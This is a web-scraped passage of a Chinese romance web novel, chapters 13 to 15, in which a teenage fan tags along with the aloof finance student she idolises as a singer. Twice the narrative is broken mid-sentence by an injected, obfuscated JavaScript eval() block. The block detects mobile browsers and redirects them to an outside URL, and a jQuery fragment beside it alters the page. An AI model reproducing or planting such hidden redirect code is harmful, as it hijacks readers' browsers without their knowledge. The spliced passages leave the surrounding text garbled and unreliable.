她今天没穿宽大的校服,穿了条及膝的白裙子,露出纤长白皙的小腿。白裙外面套着宽松的男式冲锋衣,有些违和,却也显得整个人又小又乖。 云霁微微颔首,态度疏离而又客气,“记得。好久不见。”不到一个月,也不算久。 犹豫就会败北。前面的两个女生,早已错过要联系方式的时机,两人面面相觑着,竖着耳朵听他们的对话。 宋浣溪被他的声音,迷得找不着北。她傻傻地笑了两声,自然而然地走到他旁边,跟着他一同往校门走去。 “哥哥,海晏大学我进不去。你是这里的学生吧。保安说,现在不让校外的人进去,必须有人带才能进去,你能不能带我进去呀?” 怕他不同意,她双手合十,眨巴眨巴着眼睛,“拜托拜托!我已经在门口,吹了一个多小时的冷风了。” 这话纯属夸大其词。 说话间,两人离校门越来越近,宋浣溪的声音也大。是以,保安将最后一句话听了个一清二楚。保安看了看手表,他没记错啊,这不才等了十几分钟吗? 保安毫不掩饰地观察起他们,小姑娘身旁的年轻男人,有着不同于这个年龄段的清冷与沉稳。即使戴着口罩,也能看出气质绝佳,特别是那双幽潭似的深眸,平静却吸人。 保安刚要开口问她,不等你男朋友了吗?就见她偷偷朝自己眨了下眼睛,意思是不要拆穿。 保安陷入了沉默,他早就觉得这小姑娘不对劲了。不关心自己男朋友,搁这问什么帅哥不帅哥的。 亏他还劝她,不要三心二意、见异思迁。她这是,一句也没听进去啊! 云霁听到这句吹了一个多小时的冷风,不动声色地看了眼她裸露在外的小腿,平静地移开眼,低低地“嗯”了声,“跟着我。 没问她来海晏大学做什么,也没问她在门口等什么 他的声线自带苏感,恍然湖上清风,无端让人心颤。 宋浣溪满脑子都是“嗯。跟着我”在循环播放。明明他的语气,不算温柔,反而有些冷淡。 “谢谢哥哥!”她笑着说:“我想考海晏大学,这会儿提前来参观一下。哥哥,你在这里上学开不开心呀?建不建议我读这个学校呀?” 前面的两个女生听了,心里嘲她年少无知、大言不惭。海晏大学可是国内一流学府,在南方一枝独秀。她却说的和买菜似的,想买就能买一样。 说话间,云霁已扫开门,示意她先进。宋浣溪忙窜进去,他不慌不忙地跟上。 长长的林荫道两侧,左边是八百米的大操场,右边是一排篮球场。两人走在树枝底下,说着话。 他没答自己开不开心,淡淡开口:“你想读海晏大学?” 宋浣溪煞有其事地想了会儿。可以和他做师兄妹,是最大的诱惑。而且,海晏大学离家也近,没什么不好。 说实话,想考海晏大学那句话,是她胡编乱造的。她压根没想过,要读什么大学,未来要走什么道路。但这么一想,海晏大学的确是一个好选择。 为了拉近彼此的距离,她信口开河地说:“因为,我从小就对音乐很感兴趣。我听说啊,海晏大学的音乐学专业在全国数一数二。” 云霁挑了挑眉,“你是艺考生?” 宋浣溪摇头,“不是。” “……”云霁说:“海晏大学的音乐学专业必须参加艺考。河清大学的艺术学院不用艺考,你可以考虑一下河清大学。” 宋浣溪听得云里雾里,却装模作样地叹气,“这样啊!那真是太可惜了!多谢哥哥告诉我这些。我现在来都来了,还是好好逛一下海晏大学吧。” 她想让云霁陪她逛逛,但这要求显然太过无礼,他也不是什么会不好意思拒绝的人,肯定会无情地拒绝她。 她佯装苦恼地说:“我从小就是路痴,小时候走丢了好几次。长大了还是没有方向感,经常找不到东西南北。万一一会儿,我迷路了,可怎么办啊?” 云霁淡声说:“可以问路。” 宋浣溪自然知道,他这话的意思是,可以问路人,而不是问他。 但她偏要误解,一脸开心地说:“真的吗?哥哥。那万一待会儿我迷路了,就给哥哥打电话呀!哥哥在电话里告诉我怎么走就行啦,我就不麻烦哥哥来带我了。” 云霁见她面露感激之色,不由得开始怀疑自己,他刚刚是那个意思? 这样灿烂的笑脸,很难让人泼上冷水。但他仍是拒绝,“我下午有课。” 这话不假。 他们学院有个教授素来我行我素,不顾他人死活。教授前几日请了假,这课自然是要补的。教授说,他只有五一这天有空,让大家都别迟到。 宋浣溪没问,为什么五一要上课。 她开启B计划,主打一个厚颜无耻。她高高兴兴地问:“意思是,哥哥现在有空嘛?” 云霁就迟疑了那么两秒,她自问自答地说:“那真是太好啦!哥哥,你去哪里呀?我人生地不熟的,也不认识别人。不然我就跟着哥哥,随便走一会儿吧。” 她拍着胸脯保证:“我不会给哥哥添麻烦的!哥哥本来准备去哪,就去哪,等哥哥到了目的地,我再原路返回好啦!我还能陪哥哥聊会儿天。” 云霁没再拒绝。 事实上,他从来不认为,这个记仇的小姑娘,会在那么短的时间内态度大变。并且那种热情,一直持续到了现在。 联想到她上次说的,云卷瞒着他做了好多事,她想找个机会告诉他。 真相变得一目了然。 正值分岔路口,云霁顿了顿,抬步往前走,“你不渴吗?” 宋浣溪不明所以地“啊?”了声,很快反应过来,他没说出口的后半句话应该是“说了那么多话。” 她当然不会不好意思,反倒美滋滋地想,啊啊啊!他居然在关心我! 宋浣溪夸张地说:“渴死啦!我早上到现在,还没喝过水呢!上次说要请哥哥喝奶茶,赔礼道歉来着。择日不如撞日,不如就今天吧。一会儿在路上看到哪家食堂,我们就去哪家。” 云霁不置可否。 这天又聊死了。 云霁没问她,为什么没给他打电话。但宋浣溪还是主动提起,“对啦!哥哥!我给你打过电话,你知道嘛?” 她收起笑脸,委屈巴巴地说,“好像被你拉黑了。” 云霁蹙眉,“什么时候打的?我没看到。” 那天过后,他本以为,很快能接到她的来电。毕竟这小姑娘记仇不说,看着也不像,沉得住气的。 接连几天,杳无音讯。他心想,怕是云卷又威胁人了。敲打了云卷一番,云卷看上去很委屈,说他哪敢啊。 云卷从小就喜形于色,他瞧他的模样不似作伪,便没追问。 此后,他忙于学业和挣钱,没再想起这事。 宋浣溪瘪着小嘴,“好久以前的事啦。我之前那个号码不用了,我用新的手机号打的。新手机号是河清的,可能是被哥哥当成骚扰电话了吧。” 提起这些,云霁是有些模糊的印象。有段时间,他经常接到河清的诈骗电话。对方声称是职业经纪人,要助他一炮而红,保证让他在一年内,跻身顶流行列。 他挂了电话,对方又换了几个号码打来。此后,他接到河清的陌生电话,一律拉黑处理。这才消停下来。 云霁站定,拿出手机,打开最近通话。 宋浣溪身高不到他的肩膀,她想看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13976592|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到屏幕的内容,只得费力踮起脚尖。 她念着手机号码,他在手机上输入。输了不到五位数,通讯记录自动联想出她的号码。正如她所说,她被拉黑了。 宋浣溪放下脚跟,一脸受伤的神色。 云霁把她从黑名单中拉出来,将手机递到她面前,给她看了一眼,便见她马上转悲为喜。 云霁没和小姑娘相处过,此时不由得想,陈雷不是说,全天下的姑娘都一个样,不能随意招惹。记仇不说,从小到大生起来,那是走得比跑得还快,嘴巴翘到能挂油瓶。不送个合心意的礼物,再说几句软话,那是怎么也哄不好。 可这小姑娘,未免太过好哄了。 “抱歉。先前是我弄错了。”他低头说。 她的头摇得跟拨浪鼓一样,眼睛亮晶晶的,“没事,没事。我原谅哥哥啦。” 他忽地有些哑然。 眼前的林荫大道,一眼望不到尽头。 苍翠笔挺的树木与叽叽喳喳的小麻雀,构成一幅生机盎然的场景。任谁都看得出,它们相处得不错。又理所当然,毕竟千百年来,合该如此。 宋浣溪上聊天文,下聊地理。她不知疲倦地扯着话题,从今天天气不错,聊到海晏大学怎么种这么多榕树,从百草园聊到三味书屋。 他虽谈不上热情,但偶尔也会应上几句。 宋浣溪对他的声音着迷得不行,单是听他说“嗯”“是”这种单音字,都万分捧场。 每当他开口多说几个字的时候,她的眼睛就弯呀弯地追着他,嘴角就扬呀扬地笑着应和,手掌就拍呀拍地捧着场。 少女天真烂漫的笑脸,感染力极强,一不小心,便容易让人晃眼。 云霁不动声色地瞥开眼,心想,不仅好哄,还爱笑。 远远看见小商场里模样的建筑时,宋浣溪还有些意犹未尽,小声嘀咕,“这路也太短了,怎么不再修得长一点。” 她不知,她吐槽的这条路,每年都有众多新生在校园墙吐槽:“还建什么操场啊?干脆沿着西门那条路跑算了。军训也别训了,哪个新生没在那条路上长征过?” 云霁以为她说反了,“什么?” 宋浣溪一惊,她说得这么小声,这也能听到?而后又觉得理所当然,不愧是她看好的未来巨星,对声音有敏锐的洞察力。 她一点也不觉得,刚才的回答有什么问题,复述了一遍,“这条路好短呀,这么快就到了。” 沉默两秒,云霁说,“没看出来,你体力这么好。” 宋浣溪全当他在夸自己,那叫一个得意忘形,搜肠刮肚往自己脸上贴金,笑说:“还好啦。也就是幼稚园时,得过小太阳幼儿园小一班短跑组第一名。小学时,得过全市羽毛球比赛少儿组前三……” 饶是她搜肠刮肚,也只能搜罗出这些。这些奖项确有其事,但随着年龄增长,运动天赋早已离她远去。 云霁听她说到幼儿园短跑,脑海里莫名浮现出画面,本就没多高的小蝴蝶,缩小了几倍,迈着一截短腿和一群萝卜头竞跑。不免感到有些好笑。 转眼间,两人已然到餐厅门口。这家餐厅名为澜园,集各大知名奶茶店、咖啡厅、蛋糕店于一体,是喝下午茶小憩的好去处,所以客户群体以情侣、女生为主。 许是时辰未至,不仅没有宋浣溪想象中的吵闹,还散发着安逸的气息。放眼望去,店名琳琅满目,装修花花绿绿、形色各异。 云霁低声问:“想喝哪家?” “都可以呀。我请哥哥喝!哥哥千万别客气!不用考虑价格。”她拍着胸脯,大方地说:“哥哥想喝哪家,我们就喝哪家。” 这话说的,好像他们不是要去人均不过三十的奶茶店,而是要去米其林餐厅一样。 这里没一家是云霁去过的,他向来不爱喝这些甜腻的玩意。他扫了眼各大招牌,有家招牌颇为眼熟,他经常见班上的几个男生喝,想来味道不会太差。 听他这么一说,宋浣溪自是连连点头,“好呀,好呀。那就喝那个吧。” 刚走到店门口,小包包里的手机疯狂震动,嗡嗡嗡地响个不停,想无视都困难。 糟糕。把大魔王给忘了。 在云霁的注视下,宋浣溪面不改色地拿出手机,挂断电话。 还不忘向他解释—— “诈骗电话。” 14. 第 14 章 港式茶餐厅里,两人面对面坐在一张木质方桌上。每张桌子上都有一盏圆圆的小吊灯,灯光仅仅笼罩着桌身。 这家港式茶餐厅是玻璃外墙,店里面积不大,但温馨干净。店里除了他们,没有别的客人。 一坐下,手机又嗡嗡嗡地卷土重来。宋浣溪的笑容滞了滞,心想,大魔王早不来,晚不来,偏偏这个时候来,可真烦人。 她把手机掩在桌底下,挂断电话,而后静音,飞快地给越淮发去短信。 「在忙。你先逛。过会儿联系你。」时间紧迫,她的短信是能简短就简短。 「听说,你跟野男人跑了?」 宋浣溪惊疑不定,大魔王怎么知道这事的。他不会杀上门来,破坏她的好事吧。 又想到门口的保安。肯定是保安添油加醋、乱说一通的。这下不说清楚,这事不得善了,她只得老实交代。 「什么野男人?保安大叔乱说什么!我碰到我爱豆啦,原来他是这学校的学生。我跟着他进学校啦!哥哥你自己先逛会儿(抱大腿)(苦苦哀求)」 家中谁人不知,她有个十分喜爱的男明星。说是明星,都算抬举。分明是个108线的不知名小素人,除了几首小火的翻唱,没有任何影视、综艺作品,没签经纪公司。糊得不能再糊。 也就她天天把人当成宝贝,云霁长,云霁短地挂在嘴边。 生日礼物要定制的、长得和云霁一样的Q版棉花娃娃大抱枕。海报是自制的打印店产品。嗯,因为太糊,网上压根没他的周边,想要什么只能靠定制或者自制。 越淮对宋浣溪的说辞,将信将疑。是真的偶遇108线素人,还是受人蒙骗? 毕竟网上最近刚出了很火的社会新闻—— “惊!某大妈和“张青松”网恋,被骗500万!其中包括挪用的公款470万。” 此张青松,非歌坛天王张青松,而是长得和张青松有五成像的“张青淞”。 越淮起初不相信,世界上有这么巧的事。但转念一想,她天天抱着她的棉花娃娃,一脸痴笑地看着人家的海报,能认错人才怪。 所以,她是先知道108线小素人在这所学校,才来“偶遇”的? 越淮深知,她好不容易见到她的“宝贝”,决计不会暴露自己的位置,让他插上一脚。但她要是真给她那糊得查无此人的爱豆给骗了,非得闹得全世界不得安生不可, 要真是骗财,他倒不用担心,她也没财给人家骗。若是骗色,她指不定巴巴地赶着给人骗。这才叫人头疼。 这么一想,越淮没打草惊蛇,不再回复她的消息。问了保安她去时的方向,顺着道路找去。 宋浣溪见越淮没说什么,心里松了口气。她还以为,大魔王不是要让她发定位,就是给她下最后通牒呢。让她在多少多少时间内返回。那才像大魔王。 今天不知是转了什么性子。 八成是去找坏女人了。 这么想着,她也不心烦了。胡思乱想间,云霁已将手机推到她面前。 原来,每个桌上都有一个点单二维码。此时,他一只手臂搭在桌上,已然挡住二维码的贴纸。宋浣溪没看到贴纸,不知道他是何时弄出的点单界面。 他的语气不冷不热,“看看想喝什么?” 她上拉拉菜单,下拉拉菜单,最后选了个招牌的丝袜奶茶,将手机推回给他。 “哥哥,你先别下单。这个小程序叫什么呀?是在微信直接搜索的嘛?说好的我来请你的。” 云霁在她已选购的基础上,数量乘了二,又下单了海报上推荐的漏奶华和菠萝包,三两下提交订单。 “你上次不是说,要告诉我云卷的秘密?该我请你。”他说。 宋浣溪本要再强辩一番,但转念一想,这一来一回,不就又有下次了嘛? 她笑意盈盈地说:“那下次换我请哥哥。” 云霁只当是客套话,“嗯。” 宋浣溪前面一路上,说的几乎都是和云卷毫无关联的废话。 经云霁这一开口,她深觉云霁本就性格冷淡,自己啰哩巴嗦半天,约莫有些烦人。他这是在催她,说正事呢。 若是在网上,云霁不知道她是谁,她才不管他爱不爱听,想不想听,不管三七二十一,什么话都往他私信里塞。大不了,换下个马甲。 但这可是现实生活,没有马甲可以换。她可不想,给他留下一个“烦人精”的印象。 宋浣溪把道听途说的教室抽烟、和职高大哥抢女人、打断同学门牙的事,绘声绘色地说了一遍。而后,唉声叹气、同仇敌忾道:“实在是太不像话了。” 说完这些,她又将云卷两年前是如何被电竞俱乐部看中,这两年是怎么“刻苦”训练,计划暑假离家出走去训练营的事,都一五一十地告诉了云霁。 “这事也是高振国告诉我的。”她毫无义气地把锅甩给高振国,万一哪件事是谣言,她可不背锅。 云霁的表情没什么变化,仍是淡淡的,宋浣溪看不出他在想什么。 她试探地问:“哥哥,你怎么一点也不惊讶?你是不是已经知道了?” 云霁说:“知道一点,但不确定。谢谢你相告。” 宋浣溪没和云霁说,让他不要告诉云卷,是她告的密。她巴不得云卷来找她的麻烦,那她又有理由和他见面了。 但即使她没说,云霁也不会向他人透露此事。 说话间,两杯奶茶、一份漏奶华、一份菠萝包已经送到桌上。云霁将甜品推到她面前。 “哇!谢谢哥哥!哥哥不吃吗?” “嗯,我不爱吃甜的。” 宋浣溪吸了口奶茶,她点的是五分甜,对她来说,这甜度有些淡。但这是和云霁一起喝的,所以这款奶茶,将成为她的新宠。漏奶华也好吃,绵软的口感,甜滋滋的。 云霁看她吸了一口奶茶,一口下去,玻璃杯中的奶茶少了四分之一,喉咙滚动的瞬间,她还不自觉地眯了眯眼睛,看起来十分享受。 有那么好喝吗? 他浅尝了一口,入口的冰凉甜腻,直冲喉咙,差点将他呛到。 这么甜?没记错的话,他点的和她是一样的奶茶,一样的甜度。 翻看了眼杯上的商品条,丝袜奶茶,五分甜,多冰。 丝袜奶茶?什么东西?这么甜。 她的那杯,和这杯味道不一样? 宋浣溪见云霁看向自己,无知无觉又甜甜地朝他笑。 这时,门口传来嘈杂的男声。 “渴死了,我要喝冻柠茶。” “打包回去喝,还是在这喝?” “当然打包回去啊!咱们几个大男人,坐这腻歪啊?” 他俩坐在餐厅的角落,且宋浣溪背对着门,不转身压根看不到人。她注意力都在云霁身上,根本没去听旁人说了什么。 “那不是云霁吗?”有人率先发现。 “哪呢?哦哦。云霁,你怎么也在这啊?”男生高喊道。 宋浣溪听到云霁的名字,马上条件反射地往后看。 三个身穿篮球服的男生结伴走来,衣服的号数上面,写着“经济学院”四个字。 一个男生高高壮壮的,看起来起码有一米九,此刻正笑着,后面那句云霁就是他喊的。 一个男生白白净净的,一头锡纸烫,虽然笑着,却给人不好相与的感觉。 还有一个男生身材瘦小,满脸麻子,手上抱着篮球。 白白净净的男生先开口,“什么时候谈女朋友了?雨薇知道这事,该伤心了。” 雨薇? 这名字,结合这个语气,女生无疑了。还是个喜欢云霁的女生。 宋浣溪戒备心顿生,男人嘛,血气方刚的,被美女追一追,没准就从了。 虽然云霁是个冷淡的男人,但他也是个男人啊!毕竟,连大魔王都会被坏女人耍得团团转! 万一云霁恋爱了,再万一他英年早婚,生了好几个娃要带。那他本就岌岌可危的事业,岂不是毁于一旦了。 云霁心想,小姑娘脸皮薄,得赶紧解释清楚,免得她不自在。 “不是女朋友,是……”的确很难说清楚。说是弟弟的同学,难免引来追问。 云霁云淡风轻地说:“是一个妹妹。” 高壮的男生挤眉弄眼,“哦~妹妹呀~我懂,我懂。”显然是不信。 瘦小的男生促狭地说:“还是第一次见你和女生单独待一块呢。” 宋浣溪自是不会害羞,她此时满脑子都在想,听他们这么说,他和那个什么雨薇,现在没有什么关系。 不行,还是再来个恶毒女配比较保险! 她轻轻地咬唇,偷偷地瞄了眼云霁,又飞快缩回视线。在外人看来,赫然一副暧昧中的娇羞小女生的样子。 她心想,还不赶紧把这事,传到那什么雨薇耳边。说得越夸张越好,最好说我们已经眉来眼去、情投意合、暗度陈仓了。 计划却被人破坏。 “人家云霁都说,不是女朋友了!你们别乱讲。”白白净净的男生说完,又问她,“同学,你好。我是金融学专业的王宁城,你看起来好小好可爱诶,你是哪个专业的学妹呀?” 高壮的男生和瘦小的男生交换了个眼神,意思是,又开始了。 原来,王宁城是经济学院有名的花花公子,长得不赖,又舍得花钱,女友一个接一个地换。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13976593|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当然了,和所有渣男一样。 尽管换了一个又一个的女朋友,他心中仍爱着他求而不得的“白月光”。上面提到的唐雨薇,便是他爱慕许久的“白月光”。 大多数男同学虽看不惯他这种行为,但人家也没触犯法律规范,这都是你情我愿的事。所以,尽管背地里吐槽不断,明面上照样结伴玩乐。 王宁城喜欢唐雨薇,唐雨薇又喜欢云霁,所以王宁城总是暗自和云霁较劲。云霁报名参加什么,他后脚也跟着报名,铆足了劲,通宵熬夜,非要比他多出一个名次不可。 但人家只是为了凑学分,压根没把他当回事,毫不在意,对此浑然不觉似的。久而久之,王宁城自己也觉得没劲。 好不容易让他看见,云霁和女生独处。还没到下午,就搁这喝下午茶,关系铁定不一般。 甭管是亲妹妹,还是情妹妹,这浑水他搅定了。 宋浣溪说:“我不是你们学校的。” 王宁城追问:“那妹妹你是哪个学校的啊?是隔壁海师大的,还是海医大的?” 王宁城此时已笃定,两人的关系绝对非比寻常。 面前的女生长相稚嫩,一双大大的杏眼,虽然没有笑脸,但不难想象,她笑起来会有多么烂漫可爱。 让他笃定两人关系不一般的是,女生穿着件明显不合身的男款冲锋衣。 冲锋衣上印着某知名高端户外品牌的logo。据他所知,这个品牌的冲锋衣,至少价值上千。啧啧啧,云霁钓妹,还真是死要面子活受罪啊! 云霁蹙着眉,冷声道:“你还有别的事?”简单明了的逐客令,任谁都看得出来,他已十分不耐烦。 当众让人下不来台,王宁城表情十分尴尬,“我这不是……” 话还没说完,云霁冷着声音打断,“没事就别废话。”听语气,早已烦不胜烦。 王宁城脸色一变,后槽牙绷紧,“你……” 高壮男生忙打圆场,“我们的奶茶该做好了吧?我快渴死了!那我们就先走了哈!” 又用蛮力扯过王宁城往外走,”宁城,下午要交的论文你不是还没写完吗?还不赶紧回去补?” 宋浣溪咂舌,他平时和同学说话,都这么不客气吗?得亏他是个小糊咖,不然不得天天有人诟病他耍大牌。 不客气的效果很显著,三人灰溜溜地离开了。 宋浣溪问:“刚刚那三个人,是哥哥的同班同学吗?” 云霁颔首,“嗯。他们这群人就喜欢胡说八道,你别往心里去。” 宋浣溪哪还在意他们说了什么,她急匆匆地问,“哥哥不是艺术学院的吗?怎么成经济学院的了?” 面对他有些疑惑的眼神,她找补,“上次看到哥哥背着乐器,我以为哥哥是学音乐的。” 眸底暗色一片,云霁敛了敛眸子,不咸不淡地说:“我是金融学专业的。” 这话不亚于晴天霹雳,宋浣溪觉得天都要塌了。 她笑得很勉强,“哥哥……哥哥是转过专业吗?” “没。” “……”她继续问:“哥哥怎么会想到读这个专业?” 云霁云淡风轻地开口:“挣钱。” 好好好,好一个挣钱。 她为他摇旗呐喊,大战黑粉。创了百八十个号轮流鼓励他,就换来一句,“我是金融学专业的。” 原来,他早就想转行了,给自己规划好了锦绣前程。 或者说,他压根就没想过要走歌手这条路。网上唱的那些,大抵只是他的无聊之举。而只有她,当了真。 仔细想来,他对她发的那些鼓励,从未回应、承诺过。 宋浣溪努力平息自己的怒火,作为一个合格的事业粉,她绝不能让他误入歧途! 短短几十秒时间,她已经想好,既然她的微博私信他不回复,那么她就用她的微信,春风化雨。只要他们够熟,她说得够多,还怕他不为之所动吗? 调整好心态,宋浣溪转移话题,她装作担心地问:“对啦,刚刚他们说的雨薇,是不是和哥哥关系很好呀?他们要是在雨薇姐姐那边乱说怎么办呀?” 她苦着张小脸,看起来都快哭了,“哎……都怪我,要请哥哥喝奶茶,姐姐可千万别……”误会。 这话还没说完,隔壁桌有一年轻男人慢慢悠悠地坐下。那男人闲散地坐在她斜对面的位置上,似笑非笑地看着她,显然是把她的茶言茶语,全都听进了耳里。 宋浣溪说也说不下去,小声把最后两个字补上。 那年轻男人正是越淮,他几不可见地动了动唇,她秒懂他的唇语。 他问的是—— “这是玩哪出呢?” 15. 第 15 章 似乎是不想和他人扯上关系,云霁蹙眉,“我和她没关系。随她怎么想。” 如果旁边没有一个特大瓦电灯泡,一闪一闪地吸引她的注意。宋浣溪此时肯定早已笑容满面。 她不大自然地扯唇,“没有给哥哥添麻烦就好。” 没完没了的小麻雀歇了菜,像个机器人一样,僵硬地往嘴里塞着吃的。 云霁只当她说累了,见她的奶茶见底,问她还要不要喝些别的。宋浣溪笑容僵硬地摇头,“谢谢哥哥,让哥哥破费了,我饱啦。” 大魔王仍饶有兴致地看着她,目光如火如炬,唇角似笑非笑,一副看好戏的样子。 宋浣溪深吸了口气,尽量无视他的目光。机会难得,他要听就让他听去吧。 还没想出要说些什么,她发现,云霁除了一开始喝了口奶茶,后面就没再喝过,许是不合他的口味。她歇菜以后,他偶尔垂眸看两眼手机,也没说话。 她装作善解人意的样子,“哥哥有事就先去忙吧,我一会儿原路返回就好啦,我记住路啦,哥哥放心。” 云霁“嗯”了声,“我先走了。” 宋浣溪依依不舍地点头,目光紧紧追随着他的身影。 云霁走出茶餐厅,沿着玻璃外墙往外走,想起了什么似的,忽然往里看了眼。 果然,小蝴蝶仍目不转睛地望着他。不知怎的,她大大的杏眼此时毫无光彩,整个人看起来仄仄的。 目光对上的刹那,她的眸子忽地亮了起来,嘴角高高扬起,她笑着朝他挥手,用口型在说,“哥哥再见!” 无声无息,却很快使人想到她脆生生的、欢腾雀跃的语调。 宋浣溪见他淡淡收回目光,脚步未停,垂眸在手机上打着些什么,很快消失在视野里。她还没来得及失落,手机屏幕亮起。 意料之外的短信,“迷路给我发信息。” 她被这个从天而降的好消息砸晕,开心不到两秒,那头的人又补了一句,“我让人去带你。” 宋浣溪:…… 她火速回复,“嗯嗯。哥哥再见!”而后怒气冲冲地端着盘子,坐到隔壁桌。 她的语气很差,“你干什么呀?” 越淮低笑了声,“生气了?” 她闷闷不乐地把剩下的漏奶华全塞进嘴里,愤愤地咬着,“都怪你,不然我就能多和他待会儿了。” “是吗?”越淮悠悠开口,“我坐下五分钟不到,他看了两次时间。” 宋浣溪伤心地说:“啊?那他早就想走了……真的假的?你是不是看错了?你不会在骗我吧?” “骗你?”越淮轻嗤了声,“你觉得我很闲?” 宋浣溪悲从中来,又想到云霁要改行的事,简直受到双重打击。她打开微信,一顿狂轰滥炸。 她的心态转变。 从“安安稳稳躺在他好友列表,当个路人甲就行。能和他交上朋友,那自然更好”,到“我一定要成为他的好朋友,劝他改邪归正、迷途知返”。 云溪:「哥哥,早呀(揉揉惺忪的睡眼)今天醒得好早(打了个小哈欠)(伸懒腰)(困困)哥哥今天要做什么呀?」 既然要当他的好朋友,那自然是,怎么可爱怎么来,总之先尽力引起他的注意。 英国和国内有七个小时的时差,所以她的时间应当是凌晨三四点。 云霁看到这条消息的时候,刚刚坐上前往自习室的校园巴士。 她今天的消息发得有些早,配合一大串古里古怪的用语,更像她了。 Yun:「上课。」 宋浣溪明知故问道。 云溪:「之前忘记问啦(懊恼)哥哥是什么专业的呀(好奇宝宝)(眨巴眨巴眼睛)」 云霁手指一顿,如实说。 Yun:「金融学。」 真的是她的话,肯定会急急忙忙地追问。 她给他发的微博私信,每次打鸡血似的,总爱说一些,他觉得是心灵鸡汤,她觉得是既定未来的话。她总是不厌其烦地说,哥哥未来一定会成为国际巨星。 他从未回应过,也没法回应。 说他正在慢慢淡圈吗? 云霁看了眼天边,早上的几朵乌云不知何时消失了。太阳金灿灿的,耀眼得让人无法直视,他下意识眯了眯眼,撇开视线。 云溪:「哥哥怎么会想到读这个专业呀(哇)(张大嘴巴)(听起来好厉害的样子)」 云溪:「那哥哥有什么兴趣爱好、梦想什么的嘛(搓手手)像我小时候就想着,长大能当大明星就好啦。」 云溪:「(开始做梦)(在欢呼声中走上舞台)(礼服blingbling地闪着)(鞠躬)(夹嗓子)(谢谢大家能来)(台下尖叫声一片)(嘿嘿笑)(被摇醒)(什么?刚刚是梦?!!)(捂住耳朵)(我不听我不听)」 金灿灿的阳光照进窗户,他坐在窗边,有一束正好照在他的手机屏幕上。校园巴士实在简陋,连窗帘也没有。 他于这无法抗拒、不能避免的光亮下,读着她的字。 半晌,他扯了扯唇,既好笑,又哑然。 真的是她。 也是,除了她,还有谁这么无聊。 除了她,还有谁会这么费尽力气地靠近他,绞尽脑汁地取悦他,旁敲侧击地鼓励他。 思索良久,他说。 Yun:「曾经想当歌手。后来觉得,做什么都一样。」 他想当歌手的动机,本来就不纯,压根不是因为什么所谓的理想,起初只是想争口气,给那些人看看。 再后来,他自己都是半大少年,要给隔三差五闯祸的云卷善后。正值高考前后,家长找上门要赔偿。囊中羞涩的感受,真的不好受。 他想着,就这样吧。就这样了。 有时候,命运就是这样爱捉弄人。当他收到录取通知书,一切尘埃落定的时候,不知道从哪里冒出一批小粉丝,哥哥、哥哥地喊着,说真的好喜欢他。 说明明他唱得那么好,怎么没有人喜欢。骂别人有眼无珠。又鼓励他,说相信他,迟早会火起来的。 起初,他并不以为意,这种粉丝,他不是没见过。说是粉丝,其实并不算是。只是听了他的几首歌,觉得,哦,还算不错。 过几天就没影了,没什么好在意。 但后来他发现,这批粉丝出乎意料地执着,话唠又热情。 他不欲理会,消息每条都看,一句没回。 人总是会走的,或早或晚。他这么想。 那是很久以前,有天晚上,他心情不好。恰好看到小粉丝留言,吵着要看直播。 他心下烦闷,想着开播算了,这些人本来不了解他。让她们看看,他脾气就这么差,脸就这么臭。还要喜欢吗? 他冷笑着开了直播。 虽说他平日就冷着脸,但那天,已经可以用“不耐烦”形容。 本以为,只要几分钟,人就骂骂咧咧地走光了,从此一了百了。号也直接注销。 小粉丝却小心翼翼地问他,是遇到烦心事了吗?又煞有其事地骂着让他心情不好的“坏人”,苦口婆心说一大堆心灵鸡汤。 那是他第一次记住她的名字。 小溪流。 茶餐厅里。宋浣溪听了他这话,那叫一个心如死灰,他还真想转行! 人家是追着追着房塌了,她是追着追着房没了。 这都什么事啊! 她赶忙上网搜索一番金融学专业的就业前景,网上都是说什么投行啊、证券公司啊、基金公司啊、信托公司啊,看起来还挺高大上。 宋浣溪长长地叹了口气,好像也……还行? “哥哥。”她问越淮,“金融学专业以后能做什么?” “你喜欢那小糊咖是金融学专业的?”越淮挑了挑眉。 “怎么这都能猜到?”她嘟嚷了句,“不对,谁允许你这么说他的!” “金融学专业啊,这两年大环境影响,已经不行了。不过还是有很多就业途径的,像什么——”越淮佯装思索了下,慢慢悠悠地说:“超市记账啊、银行柜员啊、4s店销售啊。哦,对了,实在不行,还能去卖保险。” 宋浣溪半信半疑,“真的假的啊?金融学这专业听名字还挺挣钱的,不能当个霸总什么的吗?” “我说你能不能,”越淮停顿了下,说:“别看不起销售?人卖车、卖保险,不也挺挣钱的。” 宋浣溪幻想了下云霁卖车、卖保险的场景,只觉得一时间呼吸困难。 不行!她不能让这种事发生! 云溪:「怎么会一样呢!!(着急)(转来转去)」 云溪:「卖东西什么的(太阳暴晒)(大声吆喝)(喊破喉咙)(无人问津),好辛苦的(心疼)。还有啊,我听说啊(左顾右盼)(掩住嘴巴)(小小声)当会计最容易背锅坐牢了!」 最后这句,是她在最近热播的电视剧里看到的。 云霁陷入了沉默,他自己都不知道,他已经混得那么惨了。 Yun:「不至于。」 云溪:「真的呀!」 宋浣溪看了眼对面的越淮,脸不红、心不跳地开始胡乱编排起来。 云溪:「我有个远房表哥就是学金融的,毕业两年,都换了好几个工作了!车、保险都卖过,听说现在在超市记账呢(叹气)(这都什么事)」 